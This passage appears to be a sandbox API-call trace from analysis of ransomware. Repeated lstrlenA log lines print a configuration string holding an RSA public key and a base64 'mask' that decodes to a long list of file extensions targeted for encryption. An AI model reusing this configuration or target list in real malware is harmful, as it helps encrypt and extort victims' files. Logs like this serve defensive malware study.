0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsI